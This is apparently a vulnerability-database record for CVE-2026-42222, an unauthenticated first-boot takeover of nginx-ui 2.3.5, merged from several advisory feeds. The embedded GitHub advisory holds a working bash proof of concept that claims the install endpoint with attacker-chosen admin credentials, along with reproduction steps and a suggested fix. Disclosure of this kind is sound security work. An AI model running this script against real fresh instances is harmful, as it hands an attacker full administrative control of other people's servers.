{"id":"CVE-2026-42222","revision":null,"records":[{"revision":"c7a4f4dc69124bfdab8bcba64ce87754","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-42222","aliases":[],"title":"nginx-ui: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover","description":"Nginx UI is a web user interface for the Nginx web server. In version 2.3.5, an unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install. At time of publication no public patches are available.","state":0,"publishedAt":"2026-05-04T20:11:11.049+00:00","modifiedAt":"2026-05-06T13:58:55.214+00:00","affected":[{"ecosystem":"Vendor product","name":"nginx-ui","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"0xJacky\",\n                    \"product\": \"nginx-ui\",\n                    \"versions\": [\n                        {\n                            \"version\": \"= 2.3.5\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-mxqh-q9h6-v8pq"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42222","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-42222","identifiers":["CVE-2026-42222"]},"retained":false,"historicalAffected":[]},{"revision":"18b2b0359b3c4fd8a11fd5a1117b0de6","observedAt":"2026-11-07T09:32:38.288+00:00","statement":{"source":"euvd","id":"EUVD-2026-27137","aliases":["CVE-2026-42222"],"title":"Nginx UI is a web user interface for the Nginx web server. In version 2.3.5, an unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install. At time of publication no public patc…","description":"Nginx UI is a web user interface for the Nginx web server. In version 2.3.5, an unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install. At time of publication no public patches are available.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"severity":null}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-mxqh-q9h6-v8pq"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-27137","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 4, 2026, 8:11:11 PM","dateUpdated":"May 6, 2026, 1:58:55 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-27137","identifiers":["EUVD-2026-27137","CVE-2026-42222"]},"retained":false,"historicalAffected":[]},{"revision":"0ef9650e235740dd92bbbe8d7bf834da","observedAt":"2026-10-27T11:12:01.124+00:00","statement":{"source":"nvd","id":"CVE-2026-42222","aliases":[],"title":"Nginx UI is a web user interface for the Nginx web server. In version 2.3.5, an unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install. At time of publication no public patc…","description":"Nginx UI is a web user interface for the Nginx web server. In version 2.3.5, an unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install. At time of publication no public patches are available.","state":0,"publishedAt":"2026-05-04T21:16:32.173+00:00","modifiedAt":"2026-10-26T19:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-mxqh-q9h6-v8pq"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42222","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-284","CWE-306"],"productCriteria":["cpe:2.3:a:nginxui:nginx_ui:2.3.5:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-04T21:16:32.173","lastModified":"2026-10-26T19:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-42222","identifiers":["CVE-2026-42222"]},"retained":false,"historicalAffected":[]},{"revision":"fda64b47269b4618849aeb5e606bef18","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-mxqh-q9h6-v8pq","aliases":["CVE-2026-42222","GO-2026-5521"],"title":"Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover","description":"## Summary\n\nAn unauthenticated bootstrap takeover exists in `nginx-ui` during the initial installation window exposed by `POST /api/install`.\n\nWhen the instance is still uninitialized, `POST /api/install` is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator.\n\nThis is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows.\n\nThe primary attack path is direct network access to a reachable fresh instance.[^cors]\n\nThis was reproduced over HTTP against live local instances started from `nginx-ui` `v2.3.5` using Docker image `uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a` (`org.opencontainers.image.version=2.3.5`, revision `1a9cd29a308278173aa0f16234cb78061dd2bd42`).\n\n## Impact\n\nThis issue allows full unauthenticated takeover of a fresh `nginx-ui` instance during the initial installation window.\n\nThe practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves.\n\nIn live testing, the attacker was able to:\n\n- confirm that the target was still uninitialized\n- submit attacker-chosen bootstrap credentials\n- lock the installation under attacker control\n- immediately authenticate as the newly set administrator\n\nObserved values during live reproduction included:\n\n```text\nINSTALL_BEFORE={\"lock\":false,\"timeout\":false}\nINSTALL_POST={\"message\":\"ok\"}\nINSTALL_AFTER={\"lock\":true,\"timeout\":false}\nLOGIN_RESPONSE={\"message\":\"ok\",\"code\":200,...,\"short_token\":\"qIJAE3dQMm3afhaV\"}\n```\n\nBecause the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.\n\n## PoC\n\nThe following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only `bash`, `curl`, and `openssl`.\n\nStandalone PoC:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nbase_url=\"http://127.0.0.1:9000\"\nemail=\"poc2@nginxui.test\"\nusername=\"pocverify2\"\npassword=\"Passw0rd123\"\n\ntmpdir=\"$(mktemp -d)\"\ntrap 'rm -rf \"$tmpdir\"' EXIT\n\ninstall_before=\"$(curl -fsS \"${base_url}/api/install\")\"\nprintf 'INSTALL_BEFORE=%s\\n' \"$install_before\"\n\nkey_json=\"$(curl -fsS \\\n  -H 'Content-Type: application/json' \\\n  --data \"{\\\"timestamp\\\":$(date +%s),\\\"fingerprint\\\":\\\"install-takeover-poc\\\"}\" \\\n  \"${base_url}/api/crypto/public_key\")\"\n\nkey_escaped=\"$(printf '%s' \"$key_json\" | sed -n 's/.*\"public_key\":\"\\(.*\\)\",\"request_id\".*/\\1/p')\"\nprintf '%b' \"$key_escaped\" > \"${tmpdir}/public_key.pem\"\nopenssl rsa -RSAPublicKey_in -in \"${tmpdir}/public_key.pem\" -pubout -out \"${tmpdir}/public_key_spki.pem\" >/dev/null 2>&1\n\nprintf '{\"email\":\"%s\",\"username\":\"%s\",\"password\":\"%s\"}' \"$email\" \"$username\" \"$password\" > \"${tmpdir}/install.json\"\nencrypted_install=\"$(\n  openssl pkeyutl -encrypt -pubin -inkey \"${tmpdir}/public_key_spki.pem\" -pkeyopt rsa_padding_mode:pkcs1 -in \"${tmpdir}/install.json\" \\\n  | openssl base64 -A\n)\"\n\ninstall_post=\"$(curl -fsS \\\n  -H 'Content-Type: application/json' \\\n  --data \"{\\\"encrypted_params\\\":\\\"${encrypted_install}\\\"}\" \\\n  \"${base_url}/api/install\")\"\nprintf 'INSTALL_POST=%s\\n' \"$install_post\"\n\ninstall_after=\"$(curl -fsS \"${base_url}/api/install\")\"\nprintf 'INSTALL_AFTER=%s\\n' \"$install_after\"\n\nprintf '{\"name\":\"%s\",\"password\":\"%s\",\"otp\":\"\",\"recovery_code\":\"\"}' \"$username\" \"$password\" > \"${tmpdir}/login.json\"\nencrypted_login=\"$(\n  openssl pkeyutl -encrypt -pubin -inkey \"${tmpdir}/public_key_spki.pem\" -pkeyopt rsa_padding_mode:pkcs1 -in \"${tmpdir}/login.json\" \\\n  | openssl base64 -A\n)\"\n\nlogin_response=\"$(curl -fsS \\\n  -H 'Content-Type: application/json' \\\n  --data \"{\\\"encrypted_params\\\":\\\"${encrypted_login}\\\"}\" \\\n  \"${base_url}/api/login\")\"\nprintf 'LOGIN_RESPONSE=%s\\n' \"$login_response\"\n```\n\nObserved output during live verification:\n\n```text\nINSTALL_BEFORE={\"lock\":false,\"timeout\":false}\nINSTALL_POST={\"message\":\"ok\"}\nINSTALL_AFTER={\"lock\":true,\"timeout\":false}\nLOGIN_RESPONSE={\"message\":\"ok\",\"code\":200,\"token\":\"<redacted>\",\"short_token\":\"qIJAE3dQMm3afhaV\"}\n```\n\n## Steps to Reproduce\n\n1. Start a fresh local `nginx-ui` `v2.3.5` instance from the tested Docker image digest with empty `/etc/nginx` and `/etc/nginx-ui` directories.\n\n```bash\nmkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui\n\ndocker run -d --rm --name nginx-ui-poc \\\n  -v \"$PWD/.tmp/poc-nginx:/etc/nginx\" \\\n  -v \"$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui\" \\\n  uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a\n```\n\n2. Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with:\n\n```bash\ndocker exec -it nginx-ui-poc bash\n```\n\nThen set `base_url` to `http://127.0.0.1:9000` and run the standalone PoC.\n\n3. Observe the output.\n\nActual result:\n\n- `GET /api/install` returns `{\"lock\":false,\"timeout\":false}`\n- `POST /api/install` returns `{\"message\":\"ok\"}`\n- a follow-up `GET /api/install` returns `{\"lock\":true,\"timeout\":false}`\n- `POST /api/login` succeeds with the attacker-chosen username and password and returns a valid token\n\nExpected result:\n\n- arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret\n- `POST /api/install` should be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor\n- attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup\n\n## Suggested Fix\n\n1. Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection.\n\n2. Require a local-only or out-of-band bootstrap secret for `POST /api/install`, for example:\n- generate a one-time setup token at startup\n- print or store it locally on the host\n- require that token to complete initialization\n\n3. Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths.\n\n4. Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as `/api/self_check` and `/api/restore`.\n\n5. As defense in depth, narrow CORS on setup endpoints. `POST /api/install` should not be callable cross-origin by arbitrary websites.\n\n6. Add regression tests covering:\n- unauthenticated remote `POST /api/install` being rejected by default\n- no installation claim without a valid bootstrap secret\n- `/api/self_check` and `/api/restore` requiring authentication\n- no cross-origin installation via browser preflight and JSON POST\n\n[^cors]: In live testing, `OPTIONS /api/install` returned `Access-Control-Allow-Origin: *`. That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.","state":0,"publishedAt":"2026-05-06T16:59:43+00:00","modifiedAt":"2026-06-25T23:11:45.9154645+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/nginx-ui","ranges":[],"versions":["2.3.5"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-mxqh-q9h6-v8pq","https://nvd.nist.gov/vuln/detail/CVE-2026-42222","https://github.com/0xJacky/nginx-ui"],"sourceUrl":"https://github.com/advisories/GHSA-mxqh-q9h6-v8pq","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-mxqh-q9h6-v8pq","identifiers":["GHSA-mxqh-q9h6-v8pq","CVE-2026-42222","GO-2026-5521"]},"retained":false,"historicalAffected":[]},{"revision":"f404d01607ec426388a28338db411b3c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5521","aliases":["CVE-2026-42222","GHSA-mxqh-q9h6-v8pq"],"title":"Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover in github.com/0xJacky/nginx-ui","description":"Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover in github.com/0xJacky/nginx-ui","state":0,"publishedAt":"2026-06-25T22:34:34+00:00","modifiedAt":"2026-06-25T23:01:20.5389016+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/nginx-ui","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-mxqh-q9h6-v8pq","https://nvd.nist.gov/vuln/detail/CVE-2026-42222"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5521","license":"OSV · upstream source license applies","key":"osv:GO-2026-5521","identifiers":["GO-2026-5521","CVE-2026-42222","GHSA-mxqh-q9h6-v8pq"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:52.8396759+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.8396778+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-c173d89a3f1a0bdb31cd68e866be332a5016302f586ede89a35ec193ac99504a","complete":true,"records":420933,"lastAttemptAt":"2026-11-07T16:07:52.127477+00:00","lastSuccessAt":"2026-11-07T16:07:52.0557652+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.127477+00:00","snapshotPublishedAt":"2026-11-07T15:22:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bee3dfbd77fe4043986590b0e0b76259","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T16:18:44.6437051+00:00","lastSuccessAt":"2026-11-07T16:18:44.639+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:18:44.639+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:58.5710341+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:58.5710358+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e1c431e1022f4db1b4e459e61c31a4ca","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T16:08:00.6485737+00:00","lastSuccessAt":"2026-11-07T16:08:00.644+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:08:00.644+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T16:07:52.5107257+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.5107257+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T16:07:52.2947928+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.2947928+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T16:07:52.5258708+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.5258708+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T16:07:52.4004477+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.4004477+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}